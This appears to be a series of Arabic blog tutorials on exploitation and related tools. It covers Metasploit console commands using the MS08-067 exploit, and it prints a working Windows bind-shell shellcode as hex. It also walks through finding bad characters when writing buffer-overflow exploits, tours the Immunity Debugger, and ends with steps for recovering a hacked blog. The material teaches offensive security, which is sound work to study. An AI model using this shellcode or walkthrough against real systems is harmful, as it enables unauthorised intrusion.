mipsle/longxor normal XOR Encoder
php/base64 great PHP Base64 encoder
ppc/longxor normal PPC LongXOR Encoder
ppc/longxor_tag normal PPC LongXOR Encoder
sparc/longxor_tag normal SPARC DWORD XOR Encoder
x64/xor normal XOR Encoder
x86/alpha_mixed low Alpha2 Alphanumeric Mixedcase Encoder
x86/alpha_upper low Alpha2 Alphanumeric Uppercase Encoder
x86/avoid_utf8_tolower manual Avoid UTF8/tolower
x86/call4_dword_xor normal Call+4 Dword XOR Encoder
x86/context_cpuid manual CPUID-based Context Keyed Payload Encoder
x86/context_stat manual stat(2)-based Context Keyed Payload Encoder
x86/context_time manual time(2)-based Context Keyed Payload Encoder
x86/countdown normal Single-byte XOR Countdown Encoder
x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR Encoder
x86/jmp_call_additive normal Jump/Call XOR Additive Feedback Encoder
x86/nonalpha low Non-Alpha Encoder
x86/nonupper low Non-Upper Encoder
x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder
x86/single_static_bit manual Single Static Bit
x86/unicode_mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder
x86/unicode_upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder
msf exploit(ms08_067_netapi) > set encoder x86/shikata_ga_nai
encoder => x86/shikata_ga_nai

 

أمر (unset) :

وهذا الامر هو عكس امر ‘set’.ويقوم بأزإلة المتغيرات التي قادم بضبطها وإضافتها أمر ‘set’، ويمكنك إزالة جميع المتغيرات مره واحده بأمر ‘unset all’.
msf > set RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24
msf > set THREADS 50
THREADS => 50
msf > set
Global
======
Name Value
---- -----
RHOSTS 192.168.1.0/24
THREADS 50
msf > unset THREADS
Unsetting THREADS...
msf > unset all
Flushing datastore...
msf > set Global
======
No entries in data store.

 

أمر (sessions) :

هذا الامر يقوم بعرض و التفاعل او انهئ او تنقل بين الجلسات التي تكون فعالة وهذه الجلسات تكون عبارة عن شل(shell)، ميتربريتر(Meterpreter sessions) او VNC … الخ.

msf > sessions -h
Usage: sessions [options]
Active session manipulation and interaction.

OPTIONS:

-K Terminate all sessions
-c Run a command on the session given with -i, or all
--d Detach an interactive session
-h Help banner
-i Interact with the supplied session ID
--k Terminate session
--l List all active sessions
-q Quiet mode
-r Reset the ring buffer for the session given with -i, or all
-s Run a script on the session given with -i, or all
-u Upgrade a win32 shell to a meterpreter session
-v List verbose fields

ولكي تقوم بعرض الجلسات(sessions) النشطة، مرر حرف ‘-l’ الى امر ‘sessions’.
msf exploit(ms08_067_netapi) > sessions -l
Active sessions
===============
Id Description Tunnel
-- ----------- ------
1 Command shell 192.168.1.20:33191 ->; 192.168.1.22:4444

عندما تريد التعامل مع أحد الجلسات النشطة، فعليك تمرير المتغير ‘-i’ متبوع برقم الجلسة ‘session id’ لاحظ المثال التالي:
msf exploit(ms08_067_netapi) > sessions -i 1
[*] Starting interaction with 1...

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32

 

أمر (search) :

يقوم هذا الامر ببحث شامل داخل الموديلز(modules) وبادخال جز من اسم الموديل او الاسم كامل فيقوم بعرض بيانات الموديل من الاسم، وصف عن الموديل … الخ.
msf > search ms08_067_netapi
[*] Searching loaded modules for pattern 'ms08_067_netapi'...

Exploits
========

Name Disclosure Date Rank Description
---- --------------- ---- -----------
windows/smb/ms08_067_netapi 2008-10-28 great Microsoft Server Service Relative Path Stack Corruption

 

أمر (show) :

 

بأدخال أمر ‘show’ في ‘msfconsole’ سوف يعرض لك كافة الموديلز ‘modules’ داخل MSF .

msf > show

encoders
========
Name Disclosure Date Rank Description
---- --------------- ---- -----------
cmd/generic_sh good Generic Shell Variable Substitution Command Encoder
cmd/ifs low Generic ${IFS} Substitution Command Encoder
cmd/printf_php_mq good printf(1) via PHP magic_quotes Utility Command Encoder
generic/none normal The "none" Encoder
mipsbe/longxor normal XOR Encoder
mipsle/longxor normal XOR Encoder

...ألخ..

وأيضاً بمكانك عرض كل موديلز على حدة مثل ‘show auxiliary’، ‘show exploits’، ‘show payloads’،
‘show encoders’ او ‘show nops’. سوف اتركك عزيزي القراء لكي تقوم بتجربة هذه الاوامر.

سوف نقوم بستخدام معين لامر ‘show’ عندما تقوم باختيار ثغرة معينة ولناخذ على سبيل المثال ‘ms08_067_netapi’

msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) >

في الامر السابق لقد قمنا باختيار ثغرة ‘ms08_067_netapi’. وفي الامر التالي سوف نقوم بعرض فقط الباي لودز ‘payloads’ التي تتوافق فقط مع الثغرة، ولنفرض ان الثغرة تستهدف فقط انظمة ويندوز، سوف يعرض فقط الباي لودز المتعلقة با الوندوز ولن يعرض الباي لودز الخاصه بنظام لنيكس.

msf exploit(ms08_067_netapi) > show payloads

Compatible Payloads
===================

Name Disclosure Date Rank Description
----------- ---- --------------- -----------
generic/debug_trap normal Generic x86 Debug Trap
generic/shell_bind_tcp normal Generic Command Shell, Bind TCP Inline
generic/shell_reverse_tcp normal Generic Command Shell, Reverse TCP Inline
generic/tight_loop normal Generic x86 Tight Loop
windows/adduser
…الخ…

والان نريد ان نعرض الخيارات المتطلبة لتنفيذ هذه الثغرة مثل ايبي الهدف و البورت وغيرها لاحظ المثال التالي :

msf exploit(ms08_067_netapi)> show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER,SRVSVC)

Exploit target:
Id Name
-- ----
0 Automatic Targeting

وإذا لم تكن متاكد اي إصدار من نظام التشغيل مصاب بهذه الثغرة قم بتنفيذ الامر التالي :
msf exploit(ms08_067_netapi)> show targets
Exploit targets:
Id Name
-- ----
0 Automatic Targeting
1 Windows 2000 Universal
2 Windows XP SP0/SP1 Universal
3 Windows XP SP2 English (NX)
4 Windows XP SP3 English (NX)
5 Windows 2003 SP0 Universal
…الخ…

وإذا كنت تريد مشاهدة خيارات متقدمة فماعليك الا تنفيذ الامر التالي :
msf exploit(ms08_067_netapi)> show advanced
Module advanced options:
Name : CHOST
Current Setting:
Description : The local client address
Name : CPORT
Current Setting:
Description : The local client port

 

أمر (setg) :

إذا كنت تريد ان تحفظ الكثير من الوقت عند عملك اختبار اختراق لنظام معين با إستطاعتك تحديد بعض
‘global variables’ في ‘msfconsole’. وذلك بأستخدام أمر ‘setg’ وعندما يتم تحديد المتغير بستطاعتك
إستخدامة في العديد من (exploits and auxiliary modules) وأيضا تستطع حفظهم لكي تقوم باستخدامهم في المره القادمة، ويجب عليك التاكد دئماً من جميع الخيارات قبل تفيذك أمر ‘run’ او ‘exploit’. وبالمقابل يمكنك إزلة هذه المتغيرات بستخدامك أمر ‘unsetg’ لاحظ المثالي التالي:
msf > setg LHOST 192.168.1.20
LHOST => 192.168.1.20
msf > setg RHOST 192.168.1.22
RHOST => 192.168.1.22

وبعد تحديد بعض المتغيرات مثل عنوان الايبي المحلي و عنوان الايبي البعيد او الهدف يمكننا حفظ هذه التغيرات بامر ‘save’. وفي المره القادمة عند تشغيل ‘msfconsole’ سوف تكون هذه المتغيرات مضبوطه مثلما حددناها.
msf > save
Saved configuration to: /root/.msf3/config
msf >

 

أمر (use) :

عندما تريد استخدام موديل ‘module’ لثغرة معينة إستخدم أمر ‘use’ ومن ثم اختر اسم الموديل. ولاحظ ان ‘global variables’ قمنا بضبطها في الامر السابق لكي تشير الى عنوان ايبي الهدف وعنوان الوكال الايبي .

msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > show options

Module options (exploit/windows/smb/ms08_067_netapi):
Name Current Setting Required Description

RHOST 192.168.1.22 yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
Exploit target:
Id Name
0 Automatic Targeting

تحويل الـ Shellcode من Hex إلى Binary و العكس

غالبا نستخدم الـ Metasploit في إنشاء الـ Shellcdoe لكن ماذا لو لم تناسبنا أي من هذه الـ Shellcodes لعلة معينه ؟ وقتها سنتحتاج أن نبحث على Shellcodes من مصادر أخرى و قد نجدها بامتداد “bin” وقتها, سنحتاج إلى تحول الـ Shellcode من Binary إلى Hex لكي نضعه في الـ Exploit خاصتنا.
في هذه الحالة سنحتاج إلى تحميل السكربت pveReadbin.pl لمبرمجه Peter Van.

أيضا قد تواجه حالة تحتاج فيها أن يكون الـ Shellcdoe خاصتك في ملف binary, مثلا في حالة استخراج الـ Bad Characters و في هذه الحالة سنحتاج إلى تحميل السكريبت pveWritebin.py

تحويل الـ Shellcode  من Binary إلى Hex

لتحميل الأداة pveReadbin

طريقة الاستخدام
perl pveReadbin.pl shellcode.bin

مثال:

perl pveReadbin.pl w32-bind-ngs-shellcode.bin
Reading w32-bind-ngs-shellcode.bin
Read 214 bytes
--------------------------------------------
Displaying bytes as hex :
--------------------------------------------
"\x31\xc9\x64\x8b\x71\x30\x8b\x76".
"\x0c\x8b\x76\x1c\x8b\x6e\x08\x8b".
"\x7e\x20\x8b\x36\x38\x4f\x18\x75".
"\xf3\x51\x68\x32\x5f\x33\x32\x68".
"\x66\x56\x77\x73\x68\xb7\x8f\x09".
"\x98\x89\xe6\xb5\x03\x29\xcc\x29".
"\xcc\x89\xe7\xd6\xf3\xaa\x41\x51".
"\x41\x51\x57\x51\x83\xef\x2c\xa4".
"\x4f\x8b\x5d\x3c\x8b\x5c\x1d\x78".
"\x01\xeb\x8b\x4b\x20\x01\xe9\x56".
"\x31\xd2\x42\x8b\x34\x91\x01\xee".
"\xb4\x36\xac\x34\x71\x28\xc4\x3c".
"\x71\x75\xf7\x3a\x27\x75\xeb\x5e".
"\x8b\x4b\x24\x01\xe9\x0f\xb7\x14".
"\x51\x8b\x4b\x1c\x01\xe9\x89\xe8".
"\x03\x04\x91\xab\x80\x3e\x09\x75".
"\x08\x8d\x5e\x04\x53\xff\xd0\x57".
"\x95\x80\x3e\x73\x75\xb1\x5e\xad".
"\xff\xd0\xad\xff\xd0\x95\x81\x2f".
"\xfe\xff\x8f\x33\x6a\x10\x57\xad".
"\x55\xff\xd0\x85\xc0\x74\xf8\x31".
"\xd2\x52\x68\x63\x6d\x64\x20\x8d".
"\x7c\x24\x38\xab\xab\xab\xc6\x47".
"\xe9\x01\x54\x87\x3c\x24\x57\x52".
"\x52\x52\xc6\x47\xef\x08\x57\x52".
"\x52\x57\x52\xff\x56\xe4\x8b\x46".
"\xfc\xe9\xca\xff\xff\xff";
Number of null bytes : 0
--------------------------------------------
Displaying bytes as ascii :
--------------------------------------------

تحويل الـ Shellcode  من Hex إلى Binary

لتحميل الأداة pveWritebin

طريقة الاستخدام

افتح السكربت و استبدل العبارة Put You Shellcode Here Line بالـ Shellcode خاصتك

#!/usr/bin/perl
# Perl script written by Peter Van Eeckhoutte
# http://www.corelan.be:8800
# This script takes a filename as argument
# will write bytes in \x format to the file
#
if ($#ARGV ne 0) {
print " usage: $0 ".chr(34)."output filename".chr(34)."\n";
exit(0);
}
system("del $ARGV[0]");
my $shellcode="Put You Shellcode Here Line1".
"Put You Shellcode Here Line2".
"Put You Shellcode Here Line3";
#open file in binary mode
print "Writing to ".$ARGV[0]."\n";
open(FILE,">$ARGV[0]");
binmode FILE;
print FILE $shellcode;
close(FILE);
print "Wrote ".length($shellcode)." bytes to file\n";

ثم نفذ السكريبت بهذه الطريقة
perl pveWritebin.pl shellcode.bin

تحذير!!

احذر من أن تستخدم Shellcode غير موثوق و اعرف محتويات هذا الملف (لأنه يقد يحتوي على أوامر تضر بنظامك!!) بالطرق التالية:

على اللنوكس -> strings
strings shellcode.bin
على ويندوز -> type
type shellcode.bin

لمزيد عن هذا الموضوع

صورة ذات علاقة

تحياتي و احترامي

إيجاد الـ Bad Characters في الـ Shellcode

مقدمة

في مرحلة من مراحل كتابتنا لثغرة BufferOverflow  فإننا قد نعاني من مشكلة مملة و نجد أن الـPayload  يعطّل الـ Exploit  بكامله مع أننا قد تأكدنا أن كل شئ يمشى بأفضل حال قبل وضع الـ Shellcode  الحقيقي. السبب في ذلك هو وجود الـ Bad Characters أو الـ Restricted Characters.

ستكتشف تلك المشكلة عندما تضع نقطة وقوف Break Point  في الـ Debugger  ولكن عند تنفيذ الثغرة لن تصل إلى ذلك العنوان. أو أنك ستصل ولكن الـ Shellcode لن يعمل (بشرط تأكدك أن جميع الأجزاء الأخرى سليمة).

ما هي الـ Bad/Restricted Characters؟

هي Characters عادية من ضمن الـ Shellcode يتم عمل Decoding لها بشكل طبيعي ولكن لها معنى لا يقبله البرنامج المصاب كأن يكون هذا الـ Characters سيدخل في تسمية ملف مثلا و فلو فرضنا أن في الشل كود قيمة ستدخل في تسمية ملف ما و كانت القيمة “\x7D” و التي تعني “}” و من المعروف أننا لا نستطيع وضع هذا الحرف في إسم ملف فوقتها سيوقف هذا الحرف مجرى عملية الـ Decoding  للـ Shellcode.

قد يبدر إلى أذهاننا بعض الأسئلة, منها..

س/ هل جميع البرامج المصابة سيكون بها Bad Characters Restriction ؟

ج/ لا

س/ هل يوجد Bad Characters أساسية يجيب أزيلها من أي Shellcode  أقوم بعمله؟

ج/ نعم, هما:  x00 و  x0d

س/ هل كل البرامج لها نفس الـ Bad Characters أي أنني أستطيع أن أحذف كل ما تم اكتشافه سابقا في البرامج اللاحقة؟

ج/ لا, لكل برنامج Bad Characters  مختلفة تختلف بطبيعة البرنامج و طريقة تنفيذه

س/ هل يمكن أن يحتوي البرنامج على أكثر من Bad Character واحد ؟

ج/ للأسف نعم

إيجاد الـ Bad Characters – الطريقة الأولى

في البداية, هذه الطريقة هي طريقة مملة و مرهقة جدا و إن كنت سأعطيها إسما فلا أجد أفضل من طريقة السكتة الدماغية حيث يتوقف العقل عن التفكير تماما مع الحاجة إلى الكثير من العمل الممل إلا إذا كنت محظوظ و وجدت الحرف في أول سطر أو سطرين,  وأمر الحظ بالذات غير متوفر بالنسبة لي شخصيا.

تعتمد هذه الطريقة على إنشاء جميع احتمالات الحروف من 0-255 عن طريق سكريبت يسمى generatecodes.pl.

في البداية تقوم بتنفيذ السكريبت مع إزالة الـBad Characters الشائعة x00  و x0d .
./generatecodes.pl 00,0d
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e"
"\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d"
"\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c"
"\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b"
"\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a"
"\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79"
"\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88"
"\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97"
"\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6"
"\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5"
"\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4"
"\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3"
"\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2"
"\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1"
"\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

الأن نأخذ أول سطر من المخرجات و نستبدل الـ Shellcode  بهذا السطر و نضع الـ Break Point خاصتنا و من ثم ننفذ البرنامج. إذا وصلنا للعوان الصحيح فهذا يعني أن Bad Characters ليست من ضمن الحروف التي في السطر الأول.

مثال:
shellcode = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0e\x0f\x10")
الأن نضيف السطر الثاني من المخرجات إلى السطر الأول و نضع الـ Break Point خاصتنا و من ثم ننفذ البرنامج. إذا وصلنا للعوان الصحيح فهذا يعني أن Bad Characters ليست من ضمن الحروف التي في السطر الثاني, و هكذا.

مثال:
shellcode = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f")

عندما لا نصل للعنوان الصحيح, نقوم بقسم السطر الذي وصلنا عنده و حصل عنده خطأ في النتائج و نستبدل النصف الأول منه بـ “\x41” مثلا . ثم نجرب فإن حصل خطأ, فهذا يعني أن الـ Bad Character في النصف الأخر, وقتها نبدأ نغير حروف النصف الثاني من السطر الأخير إلى “\x41” و نجرب في كل مره حتى نصل أنه لا يوجد خطأ في النتائج و عندها سنعرف ال Bad Character

مثال:
"\x41\x41\x41\x41\x41\x41\x41\x41\x28\x29\x2a\x2b\x2c\x2d\x2e"
سنفترض أننا وجدنا و أنه “x0a”  إذا سنقول بعمل الأتي
./generatecodes.pl 00,0d,0a
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10\x11"
"\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f"
"\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e"
"\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d"
"\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c"
"\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b"
"\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a"
"\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89"
"\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98"
"\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7"
"\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6"
"\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5"
"\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4"
"\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3"
"\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2"
"\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

و نتأكد مرة أخرى, لو لظهر أي خطأ في مجرى سير البرنامج في الـ Debugger  إذن كل شئ على ما يرام. و إن لم!!, فهذا يعني -ولا حول ولا قوه إلا بالله- أنه يوجد Bad Character أخر و يجب أن تكمل المسيرة حتى تجده.

إيجاد الـ Bad Characters – الطريقة الثانية – تحديث 19/2/2013

قام فريق Corelan بإيقاف تطوير الإضافة pvefindaddr واستبدلها بالإضافة الجديدة والأفضل mona.py مع استخدام الدالة compare

حمل الإضافة من هنا mona.py

كل ما عليك فعله هو وضع الإضافة في مجلد الـمنقح Immunity debugger  في المسار التالي

C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands

ثم ضع ملف الـ Shellcode  في الـ C  حيث يكون مساره

c:\shellcode.bin

ملاحظة: إذا كان الـShellcode بصيغة الـ Hex فيجب تحويله إلى Binary , الرجاء زيارة هذا الرابط

الأن ضع الـ Break point   خاصتك ثم نفذ الـ exploit  الذي يحتوي على الـ shellcode  الحقيقي

بمجرد توقف البرنامج, نفذ الأمر التالي في Command bar  في الـ Immunity Debugger

!mona compare c:\shellcode.bin

ستخرج لك نافذة تحتوي على العناوين التي تتواجد بها الـ Bad Characters مثل هذه

الأن اذهب إلى نافذة الـسجلات  من

View >> Log  أو اضغط   ALT + L

ستجد التالي: (يرجى تكبير الصورة)

كما ترى في حالتي كانت الـ Bad Characters  هي  5c و 2f

أيضا تستطيع أن تجد النتائج في ملف compare.txt على هذا المسار

C:\Program Files\Immunity Inc\Immunity Debugger
(هذا المسار يحتوي على معظم نتائج استخدام mona.py).

إيجاد الـ Bad Characters – الطريقة الثانية

في البداية أحب أن أرفع القبعة إلى Peter Van رئيس فريق Corelan  و هو من أشهر و أقوى الأشخاص في شرح الـ Buffer Overflow ومبرمج للعديد من السكربتات المفيدة جدا في هذا المجال.

الطريقة الثانية هي عن طريق إضافة رائعة إسمها pvefindaddr مع استخدام الدالة compare

ملاحظة: لا تنسى إضافة pvefindaddr فلها استخدامات كثيرة و رائعة في الـ Buffer Overflow

كل ما عليك فعله هو وضع الإضافة في مجلد الـمنقح Immunity debugger  في المسار التالي

C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands

ثم ضع ملف الـ Shellcode  في الـ C  حيث يكون مساره

c:\shellcode.bin

ملاحظة: إذا كان الـShellcode بصيغة الـ Hex فيجب تحويله إلى Binary , الرجاء زيارة هذا الرابط

الأن ضع الـ Break point   خاصتك ثم نفذ الـ exploit  الذي يحتوي على الـ shellcode  الحقيقي

بمجرد توقف البرنامج, نفذ الأمر التالي في Command bar  في الـ Immunity Debugger

!pvefindaddr compare c:\shellcode.bin

ستخرج لك نافذة تحتوي على العناوين التي تتواجد بها الـ Bad Characters مثل هذه

الأن اذهب إلى نافذة الـسجلات  من

View >> Log  أو اضغط   ALT + L

ستجد التالي: (يرجى تكبير الصورة)

كما ترى في حالتي كانت الـ Bad Characters  هي  5c و 2f

أيضا تستطيع أن تجد النتائج في ملف compare.txt على هذا المسار

C:\Program Files\Immunity Inc\Immunity Debugger (هذا المسار يحتوي على معظم نتائج استخدام pvefindaddr).

تحياتي واحترامي

شرح امكانيات برنامج Immunity debugger – الواجهة

مقدمة

الـ Debugger أو المنقّح, هو برنامج يستخدم لتتبع عمل البرامج و كيفية تنفيذ التعليمات و الأوامر من جهة المعالج. و من هذا المنطلق احتاجه باحثو ثغرات البرامج لمعرفة تنفيذ و سيل البرنامج للتلاعب في هذه الجزئية تحديدا.

شرحنا البسيط اليوم سيكون على برنامج Imuunity Debugger  و الذي يتفوق على الكثير من قرنائه لسهولة التعامل معه و لكثرة إضافاته و قوتها مما اعطاه شعبية كبيرة في وسط متكشفي الثغرات(Buffer Overflow) و بالذات أن مبرمجي هذا البرنامج قد صنعوه لهذا الغرض خصّيصا.

Immunity Debugger  برنامج مجاني و لكن للأسف ليس مفتوح المصدر, يعمل على نظام ويندوز و تستطيع تشغيله على اللينوكس ببرنامج الـ Wine. و يعمل بكفائة جيدة.

شرح الواجهة

تتكون الواجهة الرئيسية من 4 نوافذ صغيرة داخل إطار أو نافذة كبيرة, هذه النافذة تسمي الـ CPU window كما وجب أن أذكر لكم أن البرنامج يحتوي على العديد من النوافذ الكبيرة و التي تختلف في عملها بالبطع.

النافذة العلوية اليمنى

تعرض  الـ Registers  و قيمها أثناء تنفيذ البرنامج.

النافذة العلوية اليسرى

تعرض تعليمات لغة الآلة التي تحول إليها كود البرنامج المراد فحصه

النافذة السفلية اليمنى

تعرض ما يحتويه الـ Stack  من عناوين و جزء من البيانات اللتي يحتويها هذا العنوان

النافذة السفلية اليسرى

تعرض ما يحتويه الـ Stack  من و عناوين و كل البيانات بشكل تفصيلي بشكلين (Hex و  ASCII)

شريط حالة الـ Debugger

يعرض حالة المنقح نفسه بالنسبة لتنفيذ أوامر البرنامج و تتبعه لها. كما يحتوي جزء مسطيل يبين حالة البرنامج الحالية و هي حالة من الحالات التالية

Running: أي أن البرنامج يعمل بشكل كامل بكل وظائفه الطبيعية

Pause: أي أن المنقح قد احتوى البرنامج و لكنه لم يسمح له بالبدء في العمل و هذا يحصل عند بداية ادخال البرنامج في المنقّح -يجب تشغيله بنفسك- و أيضا عند حصول أي شئ يخرج البرنامج من مسار عمله الطبيعي

Terminated: أي أن البرنامج قد تعطل تماما و هذا يتلطب منك إعادة تشغيله من مجديد

شريط سطر الأوامر

يحتوي المنقّح على سطر أوامر يسمح لك بتنفيذ أوامر داخليه في المنقّح أو أوامر لإضافات موجوده أو إضافات أنت تضيفها إلى البرنامج لعمل شئ معين

بعض الاختصارات المفيدة

f2 = لإجبار البرنامج على التوقف عند عنوان معين في البرنامج و تسمى Break Point (للقيام بنفس المهمه بالأوامر من شريط الأوامر نفذ الأمر    bp address )

f7 = نفّذ عملية واحدة إلى الأمام
f9 = شغّل البرنامج
shift + f9 = عندما يتوقف البرنامج بسبب حدوث عملية استثنائية فإن الاختصار f7  لا يفيدنا في هذه الحالة لهذا يتم تجاوز هذا الوضع بهذا الاختصار
CRTL + G = للذهاب مباشرة و عرض عنوان محدد في الذاكرة
Alt + C = عرض النافذة الرئيسة CPU

Alt + E = عرض نافذة الـ Executable Modules  و تحتوي على المكتبات (ملفات الـ dll) التي يحملها البرنامج المراد تنقيحه ليعمل بشكل طبيعي.
CTRL + L = عرض نافذة السجلات Log Windows و التي تعرض أي حدث يحصل مع المنقح

ملاحظة: الاختصارات تختصر كثير من الوقت و أراها مهمة كما أن معرفه أماكن الأشياء بدون اختصارات أيضا مهم.

التحميل

الموقع الرئيسي | التحميل

كيف تستعيد السيطرة بعد اختراق المدونة

التدوين من اكثر اشكال التعبير الكتابي شعبية على الانترنت، سواء كان للاستعمال الشخصي او لقطاع الاعمال. و كان الارتفاع في شعبية المدونات بفضل خدمات التدوين المجانية مثل Blogspot® و WordPress®، اثنان من اكبر مطوري خدمات التدوين.

المدونون الذين اختاروا فتح حساب تدوين مع Blogger™ او WordPress® يحصلون على الخدمات بالاضافة الى دعم و صيانة محترفة من قبل المزود. لهذا السبب عدد الحوادث الأمنية في الغالب أعلى في المدونات التي يقوم المدون باستضافتها و العاملة على نسخ قديمة من برنامج  CMS و التي تملك  نقاط الضعف المختلفة أو خادم غير مهيّأ بشكل جيّد.

اذا كنت تقرأ هذا المقال، فهناك فرصة ان مدونتك ليست بأفضل حالاتها. مع ذلك، فان التعرض للاختراق ليس نهاية العالم، مع ان التعافي من هجوم إختراق ناجح هو تجربة مضنية. الخلاصة هو انه كلما تعرفت اسرع على محاولة الاختراق و قمت بحل المشكلة، قلّت الاضرار التي ستتعرض لها مدونتك. ادناه ستجد لائحة للاجراءات الواجب اتخاذها فوراً عندما تلاحظ ان مدونتك تتصرف بطريقة مشبوهة:

1- بعد ملاحظتك مباشرة ان هناك شيء ليس على ما يرام بمدونتك، اول اهتماماتك ان تقوم بإغلاق مدونتك لحماية مستخدميك من التعرض للبرامج الضارة. بالاضافة الى أن  ايقاف محركات البحث من الزحف الى مدونتك  سيوفر عليك الكثير من الجهد لاحقاً. اذا كانت مدونتك تستضيف برامج ضارة او تعمل على تحويل المستخدمين الى صفحات الويب الخطرة، ستقوم محركات البحث بتصنيف مدونتك كموقع مهاجم و ستعمل على فلترته من نتائج البحث. (إعادة الأمور إلى نصابها مع محرّك البحث عملية شاقّة وتستغرق وقتاّ طويلاً)

2- يمكنك ايقاف الولوج الى مدونتك عن طريق اضافة سطر واحد في الملف htaccess في مجلد root. يجب ان  يشير الملف الى ” حجب الجميع” (Deny from All). اذا كنت تشغل مدونتك على نظام خادم مختلف غير Apache، او انه غير مسموح لك باستعمال  ملفات .htaccess ، يمكنك عندها اغلاق مدونتك عن طريق اعادة تسمية صفحة Index.php لشيء آخر و استبدال صفحة الفهرس بصفحة مزيفة او فارغة.

احذر: لا تترك مجلد الجذر من دون صفحة فهرس لأن هذا قد يؤدي الى كشف كافة الملفات في خادمك.

بعد ذلك قم بعمل نسخ احتياطية من مجلدك سواء  باستخدام بروتوكول نقل الملفات او عن طريق ميزة النسخ الاحتياطي  المضمنة cPanel، اذا توفرت.  تذكر بن تقوم بانشاء ملف تفريغ SQL لقاعدة بيانات المدونة. بعد القيام بعملية النسخ الاحتياطي، قم بمسح الملفات باستخدام أحد برامج مكافحة الفيروسات لانه ممكن اضافة الكثير من النصوص الضارة من قبل المجرمين و يستطيع مكافح الفيروسات ايجادها عن طريق مسح النصوص.

3- قم بتحميل سجلات الوصول من خادم الويب و تخزينها في مكان آخر آمن. هذه العملية هي حساسة من ناحية الوقت لان معظم مزودي خدمة الاستضافة توفر هذه السجلات لمدة 12 او 24 ساعة. محلل الولوج سيساعدك على معرفة كيف تم اختراق مدونتك و ماذا فعل المخترقون خلال فترة سيطرتهم على المدونة. التعرف على نقطة الفشل سوف تساعدك على تأمين الخرق الحاصل و وضمان ان لا يتم الاختراق مرة أخرى باستخدام نفس التقنية.

